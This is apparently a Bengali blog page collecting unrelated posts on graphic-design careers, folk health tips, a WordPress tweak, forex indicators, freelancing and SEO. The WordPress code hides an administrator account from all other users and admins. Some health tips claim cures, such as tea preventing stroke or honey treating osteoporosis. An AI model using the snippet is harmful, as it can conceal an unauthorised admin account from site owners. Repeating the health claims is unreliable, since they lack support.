Latest Post

আঁকা ঝোঁকাতে ঝোক বেশি! ক্রিয়েটিভ কিছু করতে মন চায়? সময় পেলেই কম্পিউটারের পেইন্ট টুলস, ফটোশপ, ইলাস্ট্রেটর নিয়ে গাছ, পাখি, ফুল, ফল, বাড়ির দৃশ্য বা কারো নাম বা ছবি নিয়ে কাজ শুরু করে দেন? পার্ট-টাইম বা ফুল টাইম কাজ খুঁজছেন? অথবা অনলাইন মার্কেটপ্লেসে কাজ করে অপেক্ষাকৃত বেশি আয় করতে চান? তাহলে ভেবে চিন্তে নেমে পড়ুন গ্রাফিক্স ডিজাইনে। অন্যান্য সব চাকরির থেকে গ্রাফিক্স ডিজাইন পেশাটি সবচেয়ে নিরাপদ ও ঝামেলা বিহীন। নিরাপদ ও ঝামেলাবিহীন বলার কারণ হলো অন্যান্য সব পেশার বিপরীতে গ্রাফিক্স ডিজাইনারের কোনো কাজের অভাব হয় না । এটা একটি সন্মানজনক পেশাও।


গ্রাফিক্স ডিজাইনার কে?
আমরা প্রথমেই জেনে নিই গ্রাফিক্স ডিজাইনার কে বা তার কাজ কি। তার আগে বলি, গ্রাফিক্স ডিজাইন হলো আর্ট বা কলা’র এ মাধ্যম। ডিজাইনার তার কাজের মাধ্যমে এন্ড ইউজার অর্থ্যাৎ সর্বশেষ ব্যবহারকারীর মধ্যে একটি ভালো প্রভাব ফেলতে পারেন। যেটি সেই ব্যবহারকারীর ব্রেইন এ একটি দীর্ঘস্থায়ী প্রভাব ফেলতে পারে। তাই গ্রাফিক্স ডিজাইনার হলেন তিনি, যিনি গ্রাহকের চাহিদানুযায়ী বেশ কিছু কালার, টাইপফেস, ইমেজ এবং অ্যানিমেশন ব্যবহারের মাধ্যমে তার চাহিদা পূরণ করতে সক্ষম হন। এটার আউটপুট ডিজিটাল বা প্রিন্ট উভয়ই হতে পারে। আর বর্তমান সময়ে সচরাচর পাওয়া বিভিন্ন টুলস ও লেআউট ব্যবহারের মাধ্যমে গ্রাফিক্স ডিজাইনার তার কাজকে আরো বেশি ক্রিয়েটিভ ও গ্রাহকের চাহিদা পূরণ করে বাড়তি তৃপ্তি দিতে পারছেন।

কাজের ক্ষেত্র
একজন গ্রাফিক্স ডিজাইনারের দায়িত্ব হলো তার কাজ, পণ্য বা সেবার ওভারঅল লুক ও ভাবমূর্তি ভালোভাবে ফুটিয়ে তোলা। কোনো পূর্বপরিকল্পনা ছাড়া ডিজাইন করা যতোই ভালো পণ্য হোক না কেনো সেটি প্রথমেই ব্যার্থ হবে। তাই একটি নিদ্দিষ্ট পরিকল্পনা ও ক্রিয়েটিভিটি একজন গ্রাফিক্স ডিজাইনারের মানকে উন্নত করে। তাই নিজেকে ভালোভাবে তৈরি করতে পারলে একজন গ্রাফিক্স ডিজাইনারের কাজের অভাব হয় না! সবচেয়ে বড় বিষয় হলো সম্প্রতি দেয়া তথ্যমতে, বর্তমানে প্রায় ৩৫ শতাংশ গ্রাফিক্স ডিজাইনার আত্বনির্ভরশীল ও স্বাবলম্বী।
একজন গ্রাফিক্স ডিজাইনারের কাজের ক্ষেত্র হিসেবে ইন্টার্যা ক্টিভ মিডিয়া, প্রমোশনাল ডিসপ্লে, জার্নাল, কর্পোরেট রিপোর্টস, মার্কেটিং ব্রোশিউর, সংবাদপত্র, ম্যাগাজিন, লোগো ডিজাইন, ওয়েবসাইট ডিজাইনসহ বিভিন্ন বিষয় রয়েছে। লোকাল মার্কেট বা অনলাইন মার্কেটপ্লেস যেটাই বলি না কেনো প্রতিনিয়ত গ্রাফিক্স ডিজাইনের কাজের পরিমাণ বাড়ছে।



গ্রাফিক্স ডিজাইনার হতে শিক্ষাগত যোগ্যতা কি প্রধান বিষয়?
আসলে সত্যি বলতে কি, পেশা হিসেবে একজন গ্রাফিক্স ডিজাইনার হতে গেলে শিক্ষাগত যোগ্যতা কোনো বিষয় না। এখানে মূলত আপনার কাজের দক্ষতাই প্রধান বিষয়। আপনার ক্রিয়েটিভিটিউ আপনাকে সফলতা উচ্চ শিখরে নিয়ে যেতে পারে। তবে যেসব প্রতিষ্ঠান শিক্ষাগত যোগ্যতা বিষয়টি বিবেচনা করে তাদের প্রত্যাশা মূলত গ্রাফিক্স ইনস্টিটিউট থেকে ডিপ্লোমা, ফাইন আর্টসে ব্যাচেলর ডিগ্রি বিষয়টি চান। তবে সব ক্ষেত্রেই তারা কাজের দক্ষতার বিষয়টি আগে গুরুত্ব দেন। তাই আপনাকে আগে কাজের ক্ষেত্রে যোগ্য হতে হবে।

গ্রাফিক্স ডিজাইনারের আয়
প্রশ্নই আসতে পারে প্রতি মাসে একজন গ্রাফিক্স ডিজাইনারের আয় কত হতে পারে? এ সম্পর্কে ডিজাইনারদের বেতন নিয়ে কাজ করা আন্তর্জাতিক প্রতিষ্ঠান ডিজাইনার স্যালারিজ এর মতে, একজন গ্রাফিক্স ডিজাইনার প্রতি বছরে গ্রাফিক্স ডিজাইন বা এ সম্পর্কিত চাকরি বা কাজ করে ১ লাখ ডলার সেই হিসেবে বাংলাদেশে প্রায় ৮০ লাখ টাকা আয় করতে পারে। বাংলাদেশে গ্রাফিক্স ডিজাইনে ডিপ্লোমাধারীর বেতন মাসে সাধারণত ২০ থেকে ৫০ হাজার টাকা। তবে ব্যাচেলর ফাইন আর্টসে ব্যাচেলর ডিগ্রিধারীদের বেতন মাসিক ১ থেকে দেড় লাখ টাকা পর্যন্ত হতে পারে। এছাড়া অনলাইন মার্কেটপ্লেসে আপনি একটি লোগো ডিজাইন করলে ৫ থেকে শুরু করে ২ হাজার ডলার পর্যন্ত হতে পারে। তবে দক্ষতার ক্ষেত্রে ও বেশি ক্রিয়েটিভ কাজ হলে এটি ৫ হাজার ডলার পর্যন্তও হতে পারে। এছাড়া একটি ওয়েবসাইটটের ফাস্ট পেজ ডিজাইন করার ক্ষেত্রে ৫০ ডলার থেকে শুরু করে ৩ হাজার ডলার পর্যন্ত পেতে পারেন। ৯৯ডিজাইন’স ডটকম, ফ্রিল্যান্সার কনটেস্ট, ওডেস্কসহ অনেক ওয়েবসাইট বা অনলাইন মার্কেটপ্লেস রয়েছে যেখানে আপনি এই কাজগুলো পাবেন। মূলত কাজের মান ও ক্রিয়েটিভি এর উপরই ভিত্তি করে আপনার আয় নির্ভর করবে।

কোথায় শিখবেন?
প্রফেশন হিসেবে গ্রাফিক্স ডিজাইনকে নিতে অবশ্যই কোনো ভালোমানের ডিজাইনার বা প্রতিষ্ঠানে প্রশিক্ষণ নেওয়া প্রয়োজন। বাংলাদেশে তথ্যপ্রযুক্তি ও দক্ষতা উন্নয়ন প্রশিক্ষণের অন্যতম পথিকৃত (আই.টি.পারক-যশোর) হতে পারে আপনার প্রথম পছন্দ! আমরা আপনাকে সুপার দক্ষ গ্রাফিক্স ডিজাইনার হিসাবে তৈরি করার লক্ষ্যে ৩-৭ মাসব্যাপি ‘প্রফেশনাল গ্রাফিক্স ডিজাইন’ প্রশিক্ষণটির আয়োজন করেছি।

কি কি শেখানো হবে?
বর্তমানের বাজার চাহিদা বোঝার জন্য একজন ডিজাইনারকে এই বিষয়ে প্রয়োজনীয় জ্ঞান ও সফটওয়্যারের ব্যবহার জানা জরুরী। গ্রাফিক্স ডিজাইন কোর্স করার জন্য কোর গ্রাফিক্স ডিজাইন, টাইপোগ্রাফি, গ্রাফিক্স ডিজাইন সফটওয়্যার ও টুলের ব্যবহার, মার্কেটট্রেন্ড সম্পর্কে ধারণা ও অনলাইন মার্কেটেপ্লেসে কাজ করার জন্য প্রয়োজনীয় সকল বিষয়ে তাত্বিক ও ব্যবহারির প্রশিক্ষণ দেওয়া হবে।

স্বাস্থ্যসচেতনতায় আমাদেরকে একটু বেশি সক্রিয় হওয়া সবসময়ই উচিত। কেননা স্বাস্থ্যই সকল সুখের মূল কথাটি মিথ্যে নয়, তাই আপনি নজর রাখুন সাস্থ্যের প্রতি।  এখন থেকে মেনে চলুন সাস্থ্য রক্ষায় উপকারী সব নিয়মগুলো।


১৫ টি প্রয়োজনীয় স্বাস্থ্য টিপস

১) আপনার ত্বকের উজ্জ্বলতা বৃদ্ধি করতে নিয়মিত প্রতিদিন ১৫ গ্রাম করে মৌরি চিবিয়ে খান। এতে করে দেখা যাবে খুব কম সময়ে রক্ত শুদ্ধ হয়ে আপনার ত্বক উজ্জ্বল হতে শুরু করছে।

২) হাত পায়ের সৌন্দর্য অক্ষুন্ন রাখতে চাইলে হাতে ও পায়ে নিয়মিত আপেলের খোসা ঘষে নিন। এতে করে আগের থেকে হাত ও পা অনেক বেশী ফর্সা দেখাবে এবং কালো দাগগুলো দূর হবে খুব সহজে।

৩) আপনারা স্ট্রোক প্রতিরোধে নিয়মিত চা খান। বিভিন্ন সমীক্ষায় দেখা গেছে যে, নিয়মিত চা খেলে আমাদের ধমনীর গাত্রে ফ্যাট জমতে পারে না। ফলে স্ট্রোকের ঝুঁকি কমে আসে অনেকখানি।

৪) আপনার শরীরকে অতিরক্ত শুষ্কতা থেকে মুক্তি পেতে মধু, দুধ ও বেসনের পেষ্ট মুখে লাগান নিয়মিত। এতে করে আপনার ত্বকের বলিরেখা ও দূর হয়ে যাবে।

৫) আপনার ঠোটেঁ কালো ছোপ পড়লে কাঁচা দুধে তুলো ভিজিয়ে ঠোটেঁ মুছবেন। এটি যদি নিয়মিত করেন তাহলে ঠোটেঁর কালো দাগ অনেকাংশে উঠে যাবে।

৬) টমেটোর রস ও দুধ একসঙ্গ মিশিয়ে কিছু সময় যদি মুখে লাগিয়ে রাখলে রোদে জ্বলা ভাব অনেকাংশে কমে যাবে।

৭) আমাদের সকলের পরিচিত মধু নানাগুণের অধিকারী । আমাদের শরীরে অসাড়তা, গলাব্যথা, রক্তস্বল্পতা, অস্টিও পোরেসিস, মানসিক চাপ, মাইগ্রেনসহ নানা শারীরিক সমস্যায় মধু বিশেষভাবে কার্যকর।

৮) আপনার কনুইতে কালো ছাপ দূর করতে চাইলে এখন থেকে নিয়মিত লেবুর খোসায় চিনি দিয়ে ভালো করে ঘষে নিন। এটা নিয়মিত কিছু দিন করুন অন্তত ২ সপ্তাহ। এতে আপনার কনুই এর কালো দাগ চলে গিয়ে কনুই নরম হবে।

৯) মুখ আমাদের পরিচয় বহন করে। এই সুন্দর মুখ যদি ব্রনে পরিপূর্ণ থাকে তাহলে আপনার সৌন্দর্য নষ্ট হয়ে যায়। এক্ষেত্রে আপনি নিয়মিত রসুনের কোয়া ঘষে নিন ব্রণের উপর। ব্রণ তাড়াতাড়ি হারিয়ে যাবে আপনার মুখ থেকে।

১০) আপনার শরীরে লিগমেন্টেশন বা কালো দাগ থেকে চিরতরে মু্ক্তি পেতে আলু, লেবু ও শসার রস এক সঙ্গে মিশ্রিত করে তাতে আধ চা চামচ গ্লিসারিন মিশিয়ে শরীরের যে অংশে দাগ পড়েছে সেখানকার ত্বকে লাগান। খুব ভাল ফলাফল পাবেন।

১১) যদি মাথাব্যাথার সমস্যা প্রবল আকার ধারণ করে তাহলে এই সমস্যা দূর করতে নিয়মিত প্রচুর মাছ খান। কেননা মাছের তেল মাথাব্যথা প্রতিরোধে বিশেষ কার্যকরী ভুমিকা পালন করে থাকে। তাছাড়া আরও খেতে পারেন আদা। কেননা আদা প্রদাহ এবং ব্যথা নিরাময়ে বিশেষভাবে কার্যকর।

১২) আপনার চুল পড়া বন্ধ করতে নিয়মিত মাথায় আমলা, শিকাকাই যুক্ত তেল লাগাতে পারেন। আর পায়ের গোড়ালি খুব বেশি ফাটলে পেঁয়াজ বেটে প্রলেপ দিন ফাটা জায়গায়। একটা সময় গোড়ালি ফাটা বন্ধ হয়ে যাবে।

১৩) সাধারণত তৈলাক্ত ত্বকে ঘাম জমে মুখ কালো দেখায়। এক্ষেত্রে আপনি একটা কাজ করতে পারেন ওটমিল ও লেবুর রস একসঙ্গে মিশ্রিত করে মুখে লাগিয়ে রাখবেন আধা ঘন্টা বা তার একটু বেশি সময়। তারপর ঠান্ডা পানিতে মুখ ধুয়ে নিন। যাদের হাত খুব ঘামে তারা এই সমস্যা থেকে মুক্তি পেতে নিয়মিত কিছুদিন লাউয়ের খোসা হাতে লাগিয়ে রাখুন কিছুক্ষণ করে। তারপর দেখবেন আর হাত ঘামবে না।

১৪) আপনার পিঠের অনেক পুরানো কালো ছোপ তুলতে ময়দা ও দুধ এক সঙ্গে মিশিয়ে পিঠে দশ মিনিট ধরে ঘষবেন, নিয়মিত ২ সপ্তাহ এটা করতে পারেন। নিয়মিত এই মিশ্রণটি ব্যবহার করলে পিঠের ছোপ উঠে যায়।

১৫) আপনার মুখে যদি বাদামী দাগ থাকে তাহলে বাদামী দাগ উঠাতে পাকা পেঁপে চটকে মুখে লাগান কিছু সময় রেখে দিন, পরে মুখ ধুয়ে ফেলুন।


আপনি যদি চান আপনার ‌ওয়ার্ডপ্রেসে সাইটে আপনার অ্যাডমিনিস্ট্রেটর ইউজারটি অন্য ইউজার (এমনকি অন্য অ্যাডমিনিস্ট্রেটর) থেকে লুকিয়ে রাখতে, তাহলে সহজেই functions.php দ্বারা তা করতে পারবেন। এজন্য নিচের কোড থিমের functions.php ফাইলে কপি/পেস্ট করে সেভ করুন।

add_action(‘pre_user_query’,’royal_hide_user_query’);
function royal_hide_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username !== ‘xxxxxxxxxxx’) {
global $wpdb;
$user_search->query_where = str_replace(‘WHERE 1=1’,
“WHERE 1=1 AND {$wpdb->users}.user_login != ‘xxxxxxxxxxx'”,$user_search->query_where);
}
}
add_action(‘admin_head’,’hide_user_count’);
function hide_user_count(){
?>
<style>
.wp-admin.users-php span.count {display: none;}
</style>
<?php
}

ব্যাস এবার ড্যাশবোর্ডের ইউজার্সে গিয়ে দেখুন "xxxxxxxxxxx" নামের ইউজারটি দেখা যাচ্ছে না।
এখানে ইউজারের নাম হিসাবে "xxxxxxxxxxx" ব্যবহার করা হয়েছে।


ফরেক্স ইন্ডিকেটর কি?
ফরেক্স ইন্ডিকেটর হচ্ছে মূলত প্রাইস আপ-ডাউনের একটি চিত্রভিত্তিক নির্দেশনা। ইন্ডিকেটর মার্কেটের পূর্ববর্তী পরিস্থিতির ওপর ভিত্তি করে পরবর্তী অবস্থান সম্পর্কে আপনাকে ধারনা দিবে। সহজ কথায়, বর্তমান প্রাইস থেকে পরবর্তী পাইস ডাউন করবে কি আপ হবে সেই নির্দেশনা আপনি ইন্ডিকেটরের মাধ্যমে পাবেন। সকল ট্রেডার তাদের ট্রেডের টেকনিক্যাল এনালাইসিস করার সময় জনপ্রিয় বেশ কিছু ইন্ডিকেটর এর সাহায্য নেন।

ফরেক্স ইন্ডিকেটর কীভাবে কাজ করে?
কিছু লজিক এর সাহায্যে একটা ইন্ডিকেটর তৈরি করা হয় যার কাজ হচ্ছে ফরেক্স এ প্রাইস কোন দিকে আছে আর কোন দিকে যেতে পারে তার একটা ধারনা দেয়া। টেকনিক্যাল এনালাইসিস এর জন্য ইন্ডিকেটর একটি বড় এবং মৌলিক হাতিয়ার। মোটামুটি সব ট্রেডাররাই ইন্ডিকেটরের মাধ্যমে ট্রেড করতে পছন্দ করে। বেশ কিছু শক্তিশালী ইন্ডিকেটর আছে যেগুলো আপনার ট্রেডিংকে অনেক সহজ করে দেবে।

ফরেক্স ইন্ডিকেটর সম্পর্কে কেন জানব?
ফরেক্স ইন্ডিকেটর সম্পর্কে সম্যক ধারনা থাকলে আপনার ফরেক্স ট্রেডিং এ লাভের সম্ভাবনা অনেকগুনে বেড়ে যায়। কিন্তু সমস্যা হচ্ছে আমাদের দেশের ট্রেডারদের ফরেক্স সম্পর্কে ধারনা অনেক কম। আমরা অনেক সময় উল্টোপাল্টা ইন্ডিকেটর ব্যাবহার করে ভুল সিদ্ধান্ত নেই এবং লসের মুখে পরে যাই। অনেক গুলো ইন্ডিকেটর একসাথে ব্যবহার করাটা বুদ্ধিমানের কাজ নয়। ট্রেডে সফল হওয়ার জন্য ৫-৬টি ইন্ডিকেটর সম্পর্কে ভাল ধারনা রাখলেই হয়। আপনি যদি নতুন ট্রেডার হন তাহলে ট্রেড ওপেন করার সময় ২-৩টি আর ক্লোজ করার সময় ২-৩টি ইন্ডিকেটর ব্যবহার করতে জানলেই যথেষ্ট। আপনি নিজেই নিজের পছন্দ মত একটি ইন্ডিকেটরের সেট বা ইন্ডিকেটর প্যাকেজ তৈরি করুন। এতে করে আপনার ট্রেডে ভুল হওয়ার সম্ভাবনা কম থাকলে এবং সফলতার সাথে ট্রেড করতে পারবেন।

জনপ্রিয় ফরেক্স ইন্ডিকেটর সমুহঃ
আপনি যদি নতুন ট্রেডার হন, তাহলে ট্রেড ওপেন করার জন্য নিচের ইন্ডিকেটর গুলো ব্যবহার করলে ভাল করবেনঃ
• Moving Average (মুভিং এভারেজ)
• Bollinger Band (বলিঙ্গার ব্যান্ড)
• Slow Stochastic (স্লো স্টকেস্টিকস)
নতুন ট্রেডারদের জন্য ট্রেড ক্লোজ করার ক্ষেত্রে নিচের ইনডিকেটর গুলো ব্যবহার করা ভালঃ
• Moving Average Convergence & Divergence- MACD (এম.এ.সি.ডি)
• Relative Strength Index- RSI (আর.এস.আই)
• Average Directional Moving Index-ADX (এ.ডি.এক্স)
এই ইন্ডিকেটর সমুহ নিয়ে পরবর্তী পোস্টে বিস্তারিত বলব। আজ আসুন আমরা শিখে নেই কীভাবে আপনি ইন্ডিকেটর ওপেন করবেন?


ইন্ডিকেটর যেভাবে ওপেন করতে হবেঃ
• প্রথমে আপনার MT4 ওপেন করুন
• insert >indicators> এ গেলেই indicator list পাবেন
• সেখান থেকে আপনার পছন্দের indicator টিতে click করুন
আপনি option থেকে আপনার পছন্দের indicator টি ব্যবহার করতে পারেন। এখানকার প্রতিটি indicator আলাদা আলাদা ভাবে মার্কেটের অবস্থান প্রকাশ করে। আপনি চাইলে নিজে নিজেও indicator বানাতে পারেন, সেক্ষেত্রে আপনাকে mql ভাষা শিখে নিতে হবে। মার্কেটে অনেক indicator পাবেন তার জন্য আপনি প্রথমে ওই indicator টি download করে তার পর আপনার mt4 software টি যেখানে আছে সেই folder এ গিয়ে সংযুক্ত করা লাগবে।

যেভাবে মেটাট্রেডারে ইন্ডিকেটর যোগ করবেনঃ
• প্রথমে আপনার ইন্ডিকেটরটি কপি করুন। ইন্ডিকেটর সাধারানত mq4, ex4, mq5, ex5 ফরম্যাটে থাকে।
• যেই ফোল্ডারে আপনার মেটাট্রেডার সফটওয়্যারটি আছে সেই ফোল্ডারে যান।
• indicators ফোল্ডারে ইন্ডিকেটরটি পেস্ট করুন।
• আপনার মেটাট্রেডার সফটওয়্যারটি রিস্টার্ট করুন।
• ইন্ডিকেটরটি আপনার চার্টে যোগ করার জন্য আপনার মেটাট্রেডার সফটওয়্যার থেকে Insert > Indicators > Custom. তারপর আপনার ইন্ডিকেটরটি সিলেক্ট করুন।

কোথায় পাবেন ইন্ডিকেটর?
বেশিরভার ইন্ডিকেটর ডিফল্ট আকারে আপনার মেটাট্রেডার সফটওয়ারে দেওয়া থাকবে। তবে আপনি চাইলে এর বাইরেও অনেক ইন্ডিকেটর ডাউনলোড করে নিতে পারেন।

এক হাজারেরও বেশি ইন্ডিকেটর ডাউনলোড করুনঃ ফরেক্স ইন্ডিকেটর

নতুন ট্রেডারদের জন্য কিছু পরামর্শ
একটা জিনিস মনে রাখবেন- কখনো পুরোপুরি ইন্ডিকেটর নির্ভর হয়ে ট্রেড করা উচিত নয়। মার্কেটে অনেক ফ্রি কমার্শিয়াল ইন্ডিকেটর পাওয়া যায়। আপনি আপনার পছন্দ মত কিছু ইন্ডিকেটর বাছাই করুন। এগুলো ব্যবহার করবেন মার্কেটে প্রাইস আপ- ডাউন এর বর্তমান পরিস্থিতি সম্পর্কে সঠিক ধারনার জন্য। কিন্তু এ ধারনার উপর ভিত্তি করে সিদ্ধান্ত নেওয়ার আগে ভাল করে ভেবে দেখতে হবে। আপনি যে সব স্ট্র্যাটেজি জানেন সেই অনুসারে অর্ডার করতে ইন্ডিকেটর আপনাকে সাহায্য করবে এবং আপনার সিদ্ধান্ত নিতে সাহায্য করবে। তবে প্রত্যেকটা ইনডিকেটর ব্যবহারের আগে সেটা ভালভাবে বুঝে নেবেন এবং ডেমো একাউন্টে প্র্যাকটিস করে ইন্ডিকেটর এর সাকসেস রেইট বুঝে নেবেন। আপনি যখন বুঝবেন ইনডিকেটরটি আপনাকে লাভ করতে সাহায্য করছে তখন আপনি লাইভ মার্কেটে তা এপ্লাই করবেন।
আজ আমরা ইন্ডিকেটর কি, সে সম্পর্কে বিস্তারিত জানার চেষ্টা করলাম। পরবর্তী পোস্টে কিছু জনপ্রিয় ইন্ডিকেটর এর ব্যবহার এবং তা থেকে বাই ও সেল এর সিগন্যাল বোঝার উপায় সম্পর্কে আলোচনা করব।

ফ্রিল্যান্সিং মার্কেটপ্লেসে নতুনরা হয়ত অনেক জবেই অ্যাপ্লিকেশন করছেন কিন্তু কোন রিপ্লাই পাচ্ছেননা । অনেকের প্রশ্ন কেন জব পাচ্ছেন না, এর অন্যতম কারণ কি হতে পারে, এর থেকে সফল হওয়ার উপায় ইত্যাদি। জানলে একটু অবাক হবেন, সমীক্ষায় গিয়ে দেখে গেছে, পুরাতনদের তুলনায় নতুনদের অনেক অনেক কাজ পাওয়ার হার বেশি। একজলকে দেখে নিই সম্ভাব্য কি কি কারণে আপনি মার্কেটপ্লেসে  কাজ পাচ্ছেন নাঃ

ফ্রিল্যান্সিং মার্কেটপ্লেস:



১। কাজ না পাওয়ার অন্যতম হলো —জব অ্যাপ্লিকেশন করার সময় কি কাজ করতে হবে তা সঠিকভাবে জেনে না নেওয়া।

২। জব ডিটেইল এ কিছু কিওয়ার্ড উল্লেখ করা থাকে যা আমরা সঠিকভাবে উত্তর না দিয়ে জব আপ্লিকেশন করি। যে কারনে ক্লায়েন্ট আর আপ্লিকেশনের উত্তর প্রদান করেন না।

৩। দেখা গেছে অনেকেই একই কভার লেটার বারবার কপি করে ব্যবহার করেন, যা নির্দিষ্ট জবের জন্য হয়তো অপ্রাসঙ্গিক। এবং জবের জন্য ক্লায়েন্টের নজর কাড়তে পারেনা।

৪। মাঝে মাঝে কিছু বায়ার জব ডিটেইলে বলে দেন আগের করা কোন কাজের স্যাম্পল কিংবা পোর্টফোলিও এটাচ করে দেয়ার জন্যে। সেক্ষেত্রে কভার লেটারের সাথে ফাইল এটাচ করে দিতে হয়। তবে অরিজিনাল ফাইল দেয়া থেকে বিরত থাকুন। আর পোর্টফোলিও গুলো আগে থেকেই সাজিয়ে রাখুন। কারণ কাজ পাবার ক্ষেত্রে পোর্টফোলিও অনেক ভাল ভূমিকা রাখে।

৫। পোর্টপলিও- আপনার যদি ভালো প্রোটফোলিও থাকে তাহলে কাজ পাবার সম্ভাবনা অনেক বেশি । সবসময় আপনি যে প্রজেক্ট এর কাজ শেষ করবেন তারপর তা আপডেট করে নিন ।

৬। কাজের রেট কমিয়ে বিড করছেন?
আচ্ছা, ধরুন দোকানে গিয়েছেন মাম পানির বোতল কিনতে; দোকানদার দাম হাকলেন ১৫ টাকা। আরেক দোকানে গিয়ে দেখলেন সেটি ১০টাকা। আপনি আগে থেকেই জানেন মাম পানির বাজারদর ১৫টাকা। এখন কোয়ালিটির কথা চিন্তা করলে কোনটি কিনবেন?

৭। কাভার লেটার লেখার সময় অনেকে বানানের প্রতি খেয়াল রাখেন না। এটি কাজ না পাওয়ার অন্যতম আর একটি কারণ।
উপরুক্ত বিষয় গুলো যদি মাথায় রেখে কাজ করেন তাহলে হয়তো খুব সহজেই আপনি ফ্রীল্যান্সিং মার্কেটপ্লেসে কাজ পাওয়ার জন্য উপযুক্ত হয়ে উঠবেন।


কোন সাইটকে নির্দিষ্ট কিওয়ার্ডে সার্চ ইঞ্জিনে ভালো অবস্থানে নিয়ে আসার জন্য আপনাকে অন-পেইজ অপটিমাইজেশন করতেই হবে। আর এ অন-পেজ অপটিমাইজেশনের বেস্ট প্র্যাকটিসগুলো ইতিমধ্যে আপনারা জেনেছেন। তবে কাজের সময় যেন কোন অন-পেইজ অপটিমাইজেশন পয়েন্ট বাদ না পড়ে যায় সেজন্য আমি একটি চেকলিস্ট করার চেষ্টা করেছি আপনাদের জন্য। কাজের সময় এ লিস্টটি আশা করছি আপনাদের উপকারে আসবে।



পোস্ট টাইটেল: একটি লেখাকে জীবন্ত করে তোলে লেখাটির শিরোনাম। লেখাটিকে আকর্ষনীয় করে তোলার জন্য তাই পোস্টের টাইটেলে বেশ গুরুত্ব দিতে হবে। এমনভাবে টাইটেলটি লিখতে হবে যেন পাঠক লেখাটির প্রতি আকৃষ্ট হয়, এটি পড়তে চায় এবং সামাজিক যোগাযোগ সাইটে শেয়ার করতে চায়। আর এসইও ভ্যালু পাওয়ার জন্য টাইটেল ৭০ অক্ষরের মধ্যে রাখতে হবে। আর টাইটেলের মধ্যে আপনার কিওয়ার্ডটি ঢুকিয়ে দেয়ার চেষ্টা করুন। এতে প্রতিযোগি সাইটগুলোর চেয়ে একটু বেশি সুবিধা পাওয়া যায়। পোস্ট টাইটেলে যাতে “STOP Word” না আসে সেদিকে লক্ষ্য রাখুন।

মেটা ডেসক্রিপশন ট্যাগ: সার্চ ইঞ্জিনে রেজাল্ট পেজ থেকে যাতে ভিজিটর আপনার পোস্টের প্রতি ভাল ধারনা পায় সেভাবেই মেটা ডেসক্রিপশন টা লিখতে হবে। আর মেটা ডেসক্রিপশন ট্যাগ আপনি ১৫৫ থেকে ১৬০ অক্ষর ভিতর রাখবেন। অবশ্যই মেটা ডেসক্রিপশন ট্যাগের কনটেন্ট পোস্ট থেকে কপি-পেস্ট করে বসাবেন না। পুরো পোস্টের একটি ছোট্ট ১৬০ অক্ষরের মধ্যে লেখার চেষ্টা করুন। মেটা ডেসক্রিপশন ট্যাগে কোন কোটেশন বা নন-আলফাবেটিক ক্যারেকটার ব্যবহার করা উচিত না। মেটা ডেসক্রিপশন ট্যাগে মূল কি-ওয়ার্ডের প্রাধান্য থাকা উচিত।

মেটা কিওয়ার্ড ট্যাগ: একটা সময় ছিল যখন মেটা কি-ওয়ার্ড ট্যাগ সার্চ ইঞ্জিনে বেশ গুরুত্ব পেত। গুগলের সাম্প্রতিক কিছু আপডেটে মেটা কি-ওয়ার্ড ট্যাগ-কে প্রায় মূল্যহীন করে দিয়েছে বলতে গেলে। এ বিষয়টিতে এখন তাই খুব গুরুত্ব না দিলেও চলবে। অনেকে বেশি বেশি মেটা কিওয়ার্ড ব্যবহার করেন। এটি কোনভাবেই করা যাবেনা! সাবধান!!
তবে চাইলে এক থেকে দুটি মেটা কিওয়ার্ড ব্যবহার করতে পারেন, তবে সেটি পোস্টের সঙ্গে অবশ্যই সংগতিপূর্ন হতে হবে।

কনটেন্ট লেখার আগে!: গুগলের সর্বশেষ পাণ্ডা আপডেটে সবচেয়ে বেশি জোর দেওয়া হয়েছে কনটেন্টের উপর। সাইটের কনটেন্ট হতে হবে ইউনিক এবং সাইটের সঙ্গে সংগতিপূর্ণ। আপনার যদি একাধিক পেজ থাকে আর সেই সব পেজের কনটেন্ট যদি একই থাকে, তাহলে অবশ্যই আপনি পেনাল্টি খাবেন।
মনে রাখতে হবে, সার্চ ইঞ্জিনকে খুশি করার জন্য কন্টেন্ট লিখবেন না। লিখবেন আপনার কাঙ্ক্ষিত ভিজিটরের কথা মাথায় রেখে যাতে সে উপকৃত হয়। কন্টেন্টকে সহজ এবং সরল রাখুন যাতে ভিজিটর খুব সহজেই বুঝতে পারে। কনটেন্ট যাতে ৪৫০ শব্দের বেশি হয় সেই দিকে খেয়াল রাখুন।

কিওয়ার্ড ডেনসিটি: কনটেন্টের মাঝে টার্গেটেড কিওয়ার্ডের ব্যবহার বাড়াতে হবে। কনটেন্টের মোট ক্যারেকটারের ১.৫ থেকে ২ শতাংশ হবে টার্গেটেড কিওয়ার্ড। অর্থাৎ আপনার যদি ৫০০ শব্দের কনটেন্ট হয় তাহলে আপনাকে (৫০০*১.৫/১০০=৭.৫) ৭ অথবা ৮ বার কিওয়ার্ডটি পোস্টের বিভিন্ন স্থানে রাখতে হবে।

হেডার ট্যাগ: লেখার মধ্যে অবশ্যই হেডার ট্যাগের ব্যবহার করতে হবে। পোস্টের ভিতরে বিভিন্ন গুরুত্ব পূর্ণ লাইন বা টাইটেল গুলোতে এই <H2> ও <H3> ট্যাগ ব্যবহার করে টার্গেটেড কিওয়ার্ডকে সার্চ ইঞ্জিনের কাছে হাইলাইট করতে পারেন। এজন্য এ ট্যাগগুলোতে কিওয়ার্ডের উপস্থিতি থাকাটা বাঞ্চনীয়। অতিরিক্ত হেডার ট্যাগ ব্যবহার করা স্প্যামিংয়ের পর্যায়ে পড়ে। এজন্য ২ বার <H2> ও ২ বার <H3> ট্যাগের বেশি ব্যবহার করবেন না।


